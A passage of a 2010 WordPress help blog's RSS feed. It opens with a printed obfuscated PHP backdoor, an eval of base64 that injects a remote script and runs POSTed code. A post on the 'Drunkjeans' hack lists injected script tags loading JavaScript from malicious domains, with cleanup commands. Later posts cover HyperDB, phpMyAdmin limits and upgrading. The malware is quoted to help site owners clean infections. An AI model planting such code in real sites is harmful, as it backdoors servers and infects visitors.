<pre>&lt;? php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygncHh1eCcpKXtmdW5jdGlvbiBweHV4KCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXWFzJHYpaWYocHJlZ19tYXRjaCgnI1tcLiBdd2lkdGhccyo9XHMqW1wnIl0/MCpbMC05XVtcJyI+IF18ZGlzcGxheVxzKjpccypub25lI2knLCR2KSYmIXN0cnN0cigkdiwnPycuJz4nKSkkcz1wcmVnX3JlcGxhY2UoJyMnLnByZWdfcXVvdGUoJHYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkcyk7JHM9c3RyX3JlcGxhY2UoJGE9YmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBjRG92TDNCclpDNW9iMjFsTG5Cc0wzSmxaMmxsZEc5M0wySjFkSFJ2Ymw5cmNtRnJiM2N1Y0dod0lENDhMM05qY21sd2REND0nKSwnJywkcyk7aWYoc3RyaXN0cigkcywnPGJvZHknKSkkcz1wcmVnX3JlcGxhY2UoJyMoXHMqPGJvZHkpI21pJywkYS4nXDEnLCRzLDEpO2Vsc2VpZihzdHJwb3MoJHMsJzxhJykpJHM9JGEuJHM7cmV0dXJuJHM7fWZ1bmN0aW9uIHB4dXgyKCRhLCRiLCRjLCRkKXtnbG9iYWwkcHh1eDE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdHMoJHB4dXgxKSljYWxsX3VzZXJfZnVuYygkcHh1eDEsJGEsJGIsJGMsJGQpO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSlhcyR2KWlmKCgkYT0kdlsnbmFtZSddKT09J3B4dXgnKXJldHVybjtlbHNlaWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2Ukc1tdPWFycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdweHV4Jyk7Zm9yKCRpPTA7JGk8Y291bnQoJHMpOyRpKyspe29iX3N0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19JHB4dXhsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdweHV4MicpKSE9J3B4dXgyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKTs=')); ?&gt;</pre>
<p>After a while Google will determine infected sites as &#8220;not safe&#8221; and <a href="http://www.stopbadware.org/firefox?hl=en-GB&amp;url=https%3A%2F%2Fwww.versluis.com%2Fplesk-stat%2Fwebstat%2F#help_my_site_is_reported" target="_blank">StopBadware.org</a> will onpass this data to Firefox which in turn will block your site from being viewed.</p>
<p>Your hosting company may close down your site until you remove the thread.</p>
<h3>What can we do about this, Cap&#8217;n?</h3>
<p>At the moment, I assume that deleting the files will clear up the problem. Once that&#8217;s done, all we can hope for is that attacks will stay away until we can determine which security exploit (probably in Apache) has to be fixed. This is getting ridiculous!</p>
<p>If your site has been reported as &#8220;not safe&#8221;, you can help matters by requesting a <a href="http://www.stopbadware.org/home/reviewinfo" target="_blank">review here</a> and let StopBadware.org know that your site is no longer used for malicious activities.</p>
<h3>Hack Variations</h3>
<p>I&#8217;ve seen the following variations of these files. Please check your sites carefully if you see any of these or similar files (in which case, please leave a comment):</p>
<p><code>comber38.html / comber38.jpg<br />
veld27.html/ veld27.jpg<br />
spooky98.html / spooky98.jpg<br />
hobnob59.thml / hobnob59.jpg<br />
whoosh80.html / whoosh80.jpg<br />
flight34.html / flight34.jpg<br />
tiara30.html / tiara30.jpg<br />
vista46.html / vista46.jpg<br />
botch11.html / botch11.jpg<br />
fetid47.html / fedif47.jpg<br />
sullen50.html / sullen50.jpg<br />
plea30.html / plea30.jpg<br />
load38.html (interestingly without a .jpg variant)<br />
craggy37.html / craggy 36.jpg<br />
oxeye36.html<br />
cradle60.html<br />
sacred57.html<br />
jacket78.html<br />
orrery12.html<br />
royal13.html<br />
zigzag74.html<br />
chance41.html<br />
</code></p>
<h3>Conclusion</h3>
<p>Thesse are troubling times, my friends! Please contribute below if your site has been compromised, and especially if you know how we can all prevent this from happening in the future.</p>
<p>Thanks <img src='http://wpguru.co.uk/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' /> </p>
<img src="http://feeds.feedburner.com/~r/wpguru-co-uk/~4/grEYnnOGE50" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://wpguru.co.uk/2010/07/comber-38-viagra-hack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wpguru.co.uk/2010/07/comber-38-viagra-hack/</feedburner:origLink></item>
		<item>
		<title>The Drunkjeans.com / Roundstorm.com Hack and how to get rid of it</title>
		<link>http://feedproxy.google.com/~r/wpguru-co-uk/~3/iEhYWp-Xb0Q/</link>
		<comments>http://wpguru.co.uk/2010/07/the-drunkjeans-com-wordpress-hack-and-how-to-get-rid-of-it/#comments</comments>
		<pubDate>Sat, 10 Jul 2010 13:58:51 +0000</pubDate>
		<dc:creator>Jay Versluis</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://wpguru.co.uk/?p=460</guid>
		<description><![CDATA[Saturday morning a couple of my sites were hacked by something I&#8217;ve not found a lot of info about. I&#8217;ll call it The Drunkjeans Hack. I&#8217;ve also found this being inserted from other domains (see below). Some idiot has inserted a piece of code into the main index.php file that looks like this: &#60;script type="text/javascript" [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>Saturday morning a couple of my sites were hacked by something I&#8217;ve not found a lot of info about. I&#8217;ll call it<strong> The Drunkjeans Hack</strong>. I&#8217;ve also found this being inserted from other domains (see below).</p>
<p>Some idiot has inserted a piece of code into the main index.php file that looks like this:</p>
<p><code>&lt;script type="text/javascript" src="http://drunkjeans.com:8080/Cc.js"&gt;&lt;/script&gt;<br />
&lt;!--bc02f73b8cefc99fd497a0d96d646c0e--&gt;</code></p>
<p>The first line calls a JavaScript file on the given domain, while the second line is a unique identifier (consider yourself an individual).</p>
<p>What this thing does is unclear, but depending on how far the hackers get with this, it could be anything from a wonky homepage to the entire site being down. I did some digging and here&#8217;s what I found out:</p>
<p><span id="more-460"></span></p>
<p>This thing attacks all browser default files as well as .js files. Literally ALL of them in your site, including sub directories. Browser default files are  index.php,  index.htm, index.html, start.thm,   start.html et cetera.</p>
<p>In WordPress, there&#8217;s an index.php in your root and one in your theme&#8217;s directory.</p>
<p>There are also several .js files cattered all over the installation, including plugin and theme subdirectories so it can be a rather lenghty search&#8230;</p>
<p>The good news is that it appears that the exploit does not seem to mess with your database from what I can tell.</p>
<h3>What does it do?</h3>
<p>The Hack attaches a piece of code that loads a Javascript whereever it can. What it does is unclear (I tried to download one for closer inspection but it didn&#8217;t work). It does this either as a &lt;script&gt; tag or a JavaScript document.write statement.</p>
<p>A good example for this is the <a href="http://wordpress.org/extend/plugins/nextgen-gallery/" target="_blank">Next Gen Gallery Plugin</a>, which uses the<a href="http://wordpress.org/extend/plugins/shutter-reloaded/"> Shutter Reloaded library</a>. Here&#8217;s what I found at the end of the shutter-reloaded.js file (in wp-content/plugins/nextgen-gallery/shutter/):</p>
<p><code>document.write('&lt;s'+'cript type="text/javascript" src="http://oldgoal.com:8080/Database.js"&gt;&lt;/scr'+'ipt&gt;');</code></p>
<h3>Why does it do that?</h3>
<p>I think I&#8217;ve discovered the big idea now: on a shared hosting package with <a href="http://www.strato.de" target="_blank">Strato in Germany</a> I found some files that redirected the site to several Viagra Shops (like Superviagraonline.com &#8211; grab a bargain while it&#8217;s hot).</p>
<h3>How can we kill it, Cap&#8217;n?</h3>
<p>Looks like deleting the code and saving the file is doing a good job. The code is always at the end of the aforementioned files so it&#8217;s fairly easy to find &#8211; once you know which file it&#8217;s attached itself to. Use Sophos or the <a href="http://free.avg.com/gb-en/download-avg-anti-virus-free" target="_blank">free version of AVG</a> for clues.</p>
<p>If you want to find EVERY file on your site that&#8217;s infected issue this server command in your home directory:</p>
<pre>grep -r 'roundstorm.com' *</pre>
<div>Be patient, this could take a while. This command will show you a long list of everything that&#8217;s infected in your directories and sub directories. It&#8217;s then up to you to open every one of them and delete the piece of code.</div>
<div>Once your files are clean, you&#8217;re well advised to change ownership of these (or all files) to root and permissions to &#8220;read only&#8221; via the following command &#8211; this only works if you have shell access though:</div>
<pre>chown root index.php
chmod 444 index.php
</pre>
<h3>PHP Finder Script</h3>
<p>I figured that many of us don&#8217;t have the liberty of sheel access, so I&#8217;ve devised this little php script that should do the hard work of finding infected files for you.</p>
<p>Copy the code below into a new text file, call it test.php and upload to the root directory of your site. Then call it in a browser (say by http://www.yoursite.com/test.php) and the script will get to work. This can take a few minutes &#8211; be patient.</p>
<pre>&lt;?php
$input = "grep -r " . "'" . "roundstorm.com" . "'" . " *";
echo $input;
$output = shell_exec($input);
echo "&lt;pre&gt;#$output&lt;/pre&gt;";
?&gt;</pre>
<p class="alert">Replace the &#8220;roundstorm.com&#8221; domain with whatever bug you think you have. To be 100% sure, run the script several times with all the domain variations listed below.</p>
<h3>Variations</h3>
<p>So far I&#8217;ve found the following code fragments. Your site is only ever affected by one of these domains so that&#8217;s the one to search your files for.</p>
<p>A WHOIS lookup reveals that these domains were registered on the 7th of July 2010 in Rubaix, France via <a href="http://www.bizcn.com/" target="_blank">Bizcn.com</a> (that&#8217;s a Chinese ISP and Hosting Provider).</p>
<ul>
<li>Drunkjeans.com</li>
</ul>
<p><code>&lt;script type="text/javascript" src="http://drunkjeans.com:8080/Cc.js"&gt;&lt;/script&gt;<br />
&lt;!--bc02f73b8cefc99fd497a0d96d646c0e--&gt;</code></p>
<ul>
<li>Roundstorm.com</li>
</ul>
<p><code><code>&lt;script type="text/javascript" src="http://roundstorm.com:8080/Raster_Graphic.js"&gt;&lt;/script&gt;<br />
&lt;!--8a4dc551741b1d10ebb7f9be14f2fd86--&gt;</code></code></p>
<p><code>&lt;script type="text/javascript" src="http://roundstorm.com:8080/Online.js"&gt;&lt;/script&gt;<br />
&lt;!--aece678dacd5049fe548c4340509b03d--&gt;</code></p>
<p>What&#8217;s funny about this vairation is that apparnetly <a href="http://www.siteadvisor.de/sites/roundstorm.com/postid/?p=4899729" target="_blank">McAfee have classed this domain as SAFE&#8230;</a> why am I not surprised?</p>
<ul>
<li>Tightsales.com</li>
</ul>
<p><code>&lt;script type="text/javascript" src="http://tightsales.com:8080/Gnutella.js"&gt;&lt;/script&gt;<br />
&lt;!--ff2dbb7d5af9170e22a852d7c5329dd4--&gt;</code></p>
<ul>
<li>Oldgoal.com</li>
</ul>
<p><code>&lt;script type="text/javascript" src="http://oldgoal.com:8080/Database.js"&gt;&lt;/script&gt;<br />
&lt;!--c7be90541d124051804d7e894f2ca5f8--&gt;</code></p>
<ul>
<li>Ionicclock.com</li>
</ul>
<p><code>&lt;script type="text/javascript" src="http://ionicclock.com:8080/P2P.js"&gt;&lt;/script&gt;<br />
&lt;!--4af2b43758e09b79597726bfba081cdb--&gt;</code></p>
<ul>
<li>Hugejar.com</li>
</ul>
<p><code>&lt;script type="text/javascript" src="http://hugejar.com:8080/Bandwidth.js"&gt;&lt;/script&gt;<br />
&lt;!--fa1321ff9c78ec6db9352bd10fba5ee4--&gt;</code></p>
<ul>
<li>Pantscow.ru</li>
</ul>
<pre id="line1">&lt;script type="text/javascript" src="<a href="view-source:http://pantscow.ru:8080/Null.js">http://pantscow.ru:8080/Null.js</a>"&gt;&lt;/script&gt;
&lt;!--4959c803f900d6a68b1b0140227118ba--&gt;</pre>
<ul>
<li>Malepad.ru</li>
</ul>
<pre>document.write('&lt;s'+'cript type="text/javascript"
src="http://malepad.ru:8080/QuickTime.js"&gt;&lt;/scr'+'ipt&gt;');</pre>
<ul>
<li>Galslime.com</li>
</ul>
<p>In the WP backend, I could see something being called from galslime.com &#8211; not sure which file is compromised but I&#8217;m determined to find out.</p>
<h3>Further Reading</h3>
<p>Some forum posts I found about this exploit:</p>
<ul>
<li><a href="http://www.r10.net/dersler/677403-wordpress-temaniza-admin-panelinden-ayar-sayfasi-ekleyin.html" target="_blank">http://stackoverflow.com/questions/3209497/another-url-link-on-my-website</a></li>
<li><a href="http://www.r10.net/dersler/677403-wordpress-temaniza-admin-panelinden-ayar-sayfasi-ekleyin.html" target="_blank">http://www.r10.net/dersler/677403-wordpress-temaniza-admin-panelinden-ayar-sayfasi-ekleyin.html</a> (in Turkish)%</li>
<li><a href="http://www.sophos.com/blogs/sophoslabs/?p=10417" target="_blank">http://www.sophos.com/blogs/sophoslabs/?p=10417</a> at Sophos</li>
</ul>
<img src="http://feeds.feedburner.com/~r/wpguru-co-uk/~4/iEhYWp-Xb0Q" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://wpguru.co.uk/2010/07/the-drunkjeans-com-wordpress-hack-and-how-to-get-rid-of-it/feed/</wfw:commentRss>
		<slash:comments>35</slash:comments>
		<feedburner:origLink>http://wpguru.co.uk/2010/07/the-drunkjeans-com-wordpress-hack-and-how-to-get-rid-of-it/</feedburner:origLink></item>
		<item>
		<title>Testing HyperDB</title>
		<link>http://feedproxy.google.com/~r/wpguru-co-uk/~3/qFvts0m13ok/</link>
		<comments>http://wpguru.co.uk/2010/07/testing-hyperdb/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 13:36:56 +0000</pubDate>
		<dc:creator>Jay Versluis</dc:creator>
				<category><![CDATA[Plugins]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[HyperDB]]></category>

		<guid isPermaLink="false">http://wpguru.co.uk/?p=448</guid>
		<description><![CDATA[I&#8217;m as excited as a kid in a candystore! I&#8217;ve heard a lot about HyperDB and what can be done with it, and I&#8217;ve been thinking how cool it would be to implement it on the sites I&#8217;m hosting. And today my friends I&#8217;m proud to say that IT WORKS A TREAT! Hyper What? Let [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>I&#8217;m as excited as a kid in a candystore! I&#8217;ve heard a lot about HyperDB and what can be done with it, and I&#8217;ve been thinking how cool it would be to implement it on the sites I&#8217;m hosting. And today my friends I&#8217;m proud to say that IT WORKS A TREAT!</p>
<h3>Hyper What?</h3>
<p>Let me tell you a bit about<a href="http://wordpress.org/extend/plugins/hyperdb/" target="_blank"> HyperDB</a>. It&#8217;s another super cool <a href="http://wordpress.org/extend/plugins/profile/automattic">Automattic</a> project fronted by <a href="http://wordpress.org/extend/plugins/profile/matt">Matt</a>, <a href="http://wordpress.org/extend/plugins/profile/andy">Andy</a>, <a href="http://wordpress.org/extend/plugins/profile/ryan">Ryan</a> and <a href="http://wordpress.org/extend/plugins/profile/mdawaffe">Blogluftwaffe</a>. It&#8217;s a rather complex plugin for WordPress that will let you specify more than one Database Server. In a high production environment your one and only Database Server can get busy or even crash and die &#8211; so all websites would be down until you restart it.</p>
<p>HyperDB solves this by letting you specify several servers in the handy db-config.php file. You can set one as master server for write queries and several others for read queries. This means that the master server doesn&#8217;t get bothered with read queries while several other servers can deal with those. If one read server dies, the others can pick up the slack. It&#8217;s genius!</p>
<h3>The Experiment</h3>
<p>Before a general roll-out to live sites a little test might be an idea. Currently I have three servers at my disposal and a dev site for testing. All servers are running CentOS 5 in a mixture of 32-bit and 64-bit installations, with Plesk 9.3/9.5 on them. Here&#8217;s my setup:</p>
<p><span id="more-448"></span></p>
<ul>
<li>Server 1 (Hubert) hosts the content. This server can be defined as &#8220;localhost&#8221; in wp-config.php. We&#8217;ll make him a Database Slave later.</li>
<li>Server 2 (Drexel) is the Database Master.</li>
<li>Server 3 (Verslpzy) is another Database Slave.</li>
</ul>
<h3>Let&#8217;s replicate some data</h3>
<p>Before we start, I want to make sure that I can test which server is chosen by HyperDB at any given time. The easiest way to do this is to replicate the current database to all servers using the following commands.</p>
<p>In a production environment you&#8217;d setup proper database replication for all databases on the master. In this case though, I&#8217;m only working with one replicated database and I don&#8217;t want it to be updated automatically &#8211; hence I&#8217;m going for a manual approach.</p>
<p>Let&#8217;s run the following command on Server 1:</p>
<p><code>mysqldump -u root -pyourpassword testdatabase &gt; testdb.sql</code></p>
<p>Let&#8217;s move this file to Server 1</p>
<p><code>rsync root@server1.com:/testdb.sql /temp</code></p>
<p>Now we&#8217;ll pop it into an existing database of the same name with the same privileges &#8211; (I&#8217;ve already created this via phpMyAdmin becasue I&#8217;m lazy):</p>
<p><code>mysql -u root -pyourpassword testdatabase &lt; testdb.sql</code></p>
<p>We&#8217;ll do the same on Server 3 so we have the exact database 3 times.</p>
<h3>Identifying those databases</h3>
<p>Now I need to write a post on my dev site stating which Database Server we&#8217;re looking at. All I need is a good headline really that says &#8220;Looking at Server 1&#8243;. So far so good.</p>
<p>Next we&#8217;ll edit the wp-config file and change &#8220;localhost&#8221; to our next Database Server (let&#8217;s say it&#8217;s server2.com &#8211; obviously it&#8217;ll be the IP address or domain of your server 2). Reload the front page of your dev site and magically that &#8220;Looking at Server 1&#8243; message has disappeared. Just what we wanted <img src='http://wpguru.co.uk/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p class="alert">If at this point you get the &#8220;Error establishing Database Connection&#8221; it means some of your details in wp-config aren&#8217;t correct, or your replication didn&#8217;t work. Could be the replicated server hasn&#8217;t got the right privileges defined in MySQL. I won&#8217;t go into detail about that here though.</p>
<p>Let&#8217;s write a new post that says &#8220;Looking at Server 2&#8243;. Publish and refresh. Nice.</p>
<p>On to change the wp-config again to the third database server, and over to writing a new post entitled &#8220;Looking at Server 3&#8243;.</p>
<p>All we&#8217;ve done now is amend each single database slightly &#8211; and more importantly make this change visible on our front page.</p>
<h3>Bring on HyperDB</h3>
<p>Now comes the fun part: let&#8217;s bring in the star of the show. <a href="http://wordpress.org/extend/plugins/hyperdb/" target="_blank"></a></p>
<p><a href="http://wordpress.org/extend/plugins/hyperdb/" target="_blank">Download HyperDB</a> and unpack it. Upload db.php into your wp-content directory &#8211; this alone will activate it. It&#8217;s super simple steps that made WordPress great!</p>
<p>Let&#8217;s have a look at the db-config.php file before we upload it. It&#8217;s already pre-configured to work with whatever database host is configured in wp-config.php via this bit of code here:</p>
<p><code>$wpdb-&gt;add_database(array(<br />
'host'     =&gt; DB_HOST,     // If port is other than 3306, use host:port.<br />
'user'     =&gt; DB_USER,<br />
'password' =&gt; DB_PASSWORD,<br />
'name'     =&gt; DB_NAME,<br />
));</code></p>
<p>Note that you can change these values to override the wp-config settings. This code defines that one server as database master/slave for both reading and writing. A bit further down, similar bit of code re-defines the server as a read-only slave:</p>
<p><code>$wpdb-&gt;add_database(array(<br />
'host'     =&gt; DB_HOST,     // If port is other than 3306, use host:port.<br />
'user'     =&gt; DB_USER,<br />
'password' =&gt; DB_PASSWORD,<br />
'name'     =&gt; DB_NAME,<br />
'write'    =&gt; 0,<br />
'read'     =&gt; 1,<br />
'dataset'  =&gt; 'global',<br />
'timeout'  =&gt; 0.2,<br />
));</code></p>
<p>Because this is defined as an array, you can copy this bit of code for as many Database Slaves as you&#8217;d like to setup. All you have to do is amend the DB_HOST constant with your server&#8217;s domain name or IP address like so:</p>
<p><code>$wpdb-&gt;add_database(array(<br />
'host'     =&gt; 'server2.com',     // If port is other than 3306, use host:port.<br />
'user'     =&gt; DB_USER,<br />
'password' =&gt; DB_PASSWORD,<br />
'name'     =&gt; DB_NAME,<br />
'write'    =&gt; 0,<br />
'read'     =&gt; 1,<br />
'dataset'  =&gt; 'global',<br />
'timeout'  =&gt; 0.2,<br />
));</code></p>
<p>or like so:</p>
<p><code>$wpdb-&gt;add_database(array(<br />
'host'     =&gt; '192.168.0.101',     // If port is other than 3306, use host:port.<br />
'user'     =&gt; DB_USER,<br />
'password' =&gt; DB_PASSWORD,<br />
'name'     =&gt; DB_NAME,<br />
'write'    =&gt; 0,<br />
'read'     =&gt; 1,<br />
'dataset'  =&gt; 'global',<br />
'timeout'  =&gt; 0.2,<br />
));</code></p>
<p>Then just copy the same bit of code underneath and amend the host again &#8211; say like this:</p>
<p><code>$wpdb-&gt;add_database(array(<br />
'host'     =&gt; '192.168.0.102',     // If port is other than 3306, use host:port.<br />
'user'     =&gt; DB_USER,<br />
'password' =&gt; DB_PASSWORD,<br />
'name'     =&gt; DB_NAME,<br />
'write'    =&gt; 0,<br />
'read'     =&gt; 1,<br />
'dataset'  =&gt; 'global',<br />
'timeout'  =&gt; 0.2,<br />
));</code></p>
<p>Save the file and upload it into the same folder that holds your wp-config.php file (as described above, db.php should be uploaded into the /wp-content/ folder).</p>
<h3>Testing Testing&#8230; is this thing on?</h3>
<p>If you now go back to your live site and refresh the home page, you should see that your latest post is different upon every refresh. Keep refreshing, and the &#8220;Looking at Server x&#8221; messages will just keep coming. We&#8217;ve just proven that HyperDB works a TREAT with minimal effort!</p>
<p>Once you&#8217;ve played that game for a while, you&#8217;ll want to see what would happen in an emergency. Say &#8220;Server 1&#8243; decides it&#8217;s time for a coffee break and crashes. We&#8217;ll simulate this by simply switching off the MySQL deamon with this command:</p>
<pre>service mysqld stop</pre>
<p>Go back and keep refreshing your site. &#8220;Looking at Server 1&#8243; shouldn&#8217;t come back anymore. You can do the same with the other servers for testing, obviously at least one must be active. The command</p>
<pre>service mysqld start</pre>
<p>should bring MySQL back online on any given server <img src='http://wpguru.co.uk/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<h3>Conclusion</h3>
<p>HyperDB works so well it&#8217;s scary!</p>
<p>Simple to implement and hyper functional. Of course you need to implement proper Database Replication for all servers to produce the same content, but that&#8217;s fairly easy to do (if you know how). Maybe we&#8217;ll find out in a forthcoming article <img src='http://wpguru.co.uk/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>What I&#8217;m pleased about is that WordPress works like magic with multiple database servers and minimal effort. I can&#8217;t wait to implement this on a bigger scale on all my sites.</p>
<img src="http://feeds.feedburner.com/~r/wpguru-co-uk/~4/qFvts0m13ok" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://wpguru.co.uk/2010/07/testing-hyperdb/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wpguru.co.uk/2010/07/testing-hyperdb/</feedburner:origLink></item>
		<item>
		<title>How to increase the Upload Limit in phpMyAdmin?</title>
		<link>http://feedproxy.google.com/~r/wpguru-co-uk/~3/rnCuwkB1aW4/</link>
		<comments>http://wpguru.co.uk/2010/07/how-to-increase-the-upload-limit-in-phpmyadmin/#comments</comments>
		<pubDate>Tue, 06 Jul 2010 07:41:07 +0000</pubDate>
		<dc:creator>Jay Versluis</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://wordpress-guru.co.uk/?p=93</guid>
		<description><![CDATA[Since phpMyAdmin is written in php, all we need to do is change the file upload limit in the php.ini file. On CentOS and RHEL distributions, this file is located in /etc/php.ini Find this section: ;;;;;;;;;;;;;;;; ; File Uploads ; ;;;;;;;;;;;;;;;; ; Whether to allow HTTP file uploads. file_uploads = On ; Temporary directory for [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>Since phpMyAdmin is written in php, all we need to do is change the file upload limit in the php.ini file. On CentOS and RHEL distributions, this file is located in <strong>/etc/php.ini</strong></p>
<p>Find this section:</p>
<p><code><br />
;;;;;;;;;;;;;;;;<br />
; File Uploads ;<br />
;;;;;;;;;;;;;;;;<br />
; Whether to allow HTTP file uploads.<br />
file_uploads = On<br />
; Temporary directory for HTTP uploaded files (will use system default if not<br />
; specified).<br />
;upload_tmp_dir =<br />
; Maximum allowed size for uploaded files.<br />
upload_max_filesize = 2M<br />
</code></p>
<p>Change the 2M to something bigger, say 100M.</p>
<p class="note">Please note that this is a server wide setting. You could also add this instruction to the phpmyadmin.ini file, which would make it effective only for phpMyAdmin.</p>
<img src="http://feeds.feedburner.com/~r/wpguru-co-uk/~4/rnCuwkB1aW4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://wpguru.co.uk/2010/07/how-to-increase-the-upload-limit-in-phpmyadmin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wpguru.co.uk/2010/07/how-to-increase-the-upload-limit-in-phpmyadmin/</feedburner:origLink></item>
		<item>
		<title>WordPress 3.0 is here – but should you upgrade today?</title>
		<link>http://feedproxy.google.com/~r/wpguru-co-uk/~3/QMr8ngdVXgY/</link>
		<comments>http://wpguru.co.uk/2010/06/wordpress-3-0-is-here-but-should-you-upgrade-today/#comments</comments>
		<pubDate>Fri, 18 Jun 2010 17:34:39 +0000</pubDate>
		<dc:creator>Jay Versluis</dc:creator>
				<category><![CDATA[Announcements]]></category>

		<guid isPermaLink="false">http://wpguru.co.uk/?p=424</guid>
		<description><![CDATA[Fellow WordPressers, Looks like the big news just broke – WordPress 3.0 “Thelonious” is here (that’s named after Jazz pianist Thelonious Monk by the way). You may have seen an upgrade notice in your dashboard already that urges you to upgrade. Which is why I thought I’d drop you a message: DON’T UPGRADE UNTIL YOU [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>Fellow WordPressers,</p>
<p>Looks like the big news just broke – <a href="http://wordpress.org/development/2010/06/thelonious/" target="_blank">WordPress 3.0 “Thelonious”</a> is here (that’s named after Jazz pianist Thelonious Monk by the way). You may have seen an upgrade notice in your dashboard already that urges you to upgrade.</p>
<p>Which is why I thought I’d drop you a message:</p>
<h3>DON’T UPGRADE UNTIL YOU READ THIS MESSAGE!</h3>
<p>This is especially important to users of the WP Ecommerce Plugin, which IS NOT compatible with WordPress 3.0 (I’m thinking of <a href="http://www.daveylee.co.uk" target="_blank">Davey Lee</a> from Western Straia here). Trust me, I’ve tried it on my Beta Site. It’s all tears and no joy from there.</p>
<p><span id="more-424"></span></p>
<div id="attachment_434" class="wp-caption alignright" style="width: 243px">
	<a href="http://wpguru.co.uk/wp-content/uploads/2010/06/thelonious-monk-06.jpg"><img class="size-medium wp-image-434" title="thelonious-monk-06" src="http://wpguru.co.uk/wp-content/uploads/2010/06/thelonious-monk-06-243x300.jpg" alt="" width="243" height="300" /></a>
	<p class="wp-caption-text">Thelonious Monk</p>
</div>
<p>Upgrading is usually a good thing: it keeps you up-to-date with the best version yet (or so they say). Several code improvements mean your site may become a bit faster and less attractive to hackers. That’s especially useful to keep in mind if you’re running REALLY outdated versions of WordPress prior to 2.7.</p>
<p>But there are also downsides of an early upgrade – keeping in mind 3.0 has only been released early this morning: you may be running Plugins that aren’t working with the new version yet, which means your site may become corrupt. It’s nothing The Guru couldn’t fix for you of course, but you may run into trouble upgrading to a fresh release like this one.</p>
<h3>My experience is this:</h3>
<p>When a new version is released to the public, plenty of people will have a moan about this or that not working. At the same time, all the Plugin and Theme developers will get to work with hot fixes, which will result in EVEN NEWER versions of both core and Plugins within the next couple of weeks. You watch.</p>
<p>I’d recommend to wait another week or two and upgrade on the next Point Release.</p>
<p>If you’re determined to go ahead today though, please do the following:</p>
<ul>
<li>Install the <a href="http://wordpress.org/extend/plugins/wp-db-backup/" target="_blank">WP Database Backup Plugin</a> and run it. It’ll read our your database and email it to you, or it can save it on your server. Either option is fine, as long as you do the backup</li>
<li>Then, upgrade all your Plugins first. If you’re running 2.9+, you can do this in bulk under Tools – Upgrade, tick all and select Upgrade from the drop down.</li>
<li>Once that’s done, go ahead with the Code Upgrade (under Tools – Upgrade, or just click the message in the dashboard).</li>
</ul>
<p>You’ll now find yourself either with your site working fine and a slightly lighter coloured back end -  or with what we call the “White Screen of Death” which is to say that one of your Plugins is not compatible yet. But let’s think positive, ey?</p>
<p>If you do run into problems, you know who to contact <img src='http://wpguru.co.uk/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>You can check out all that’s new and good in <a href="http://codex.wordpress.org/Version_3.0" target="_blank">WordPress 3.0 here</a>, and you can read <a href="http://wordpress.org/development/2010/06/thelonious/" target="_blank">Matt Mullenweg’s release notes</a> on the subject too.</p>
<p>Or you could just watch this video:</p>
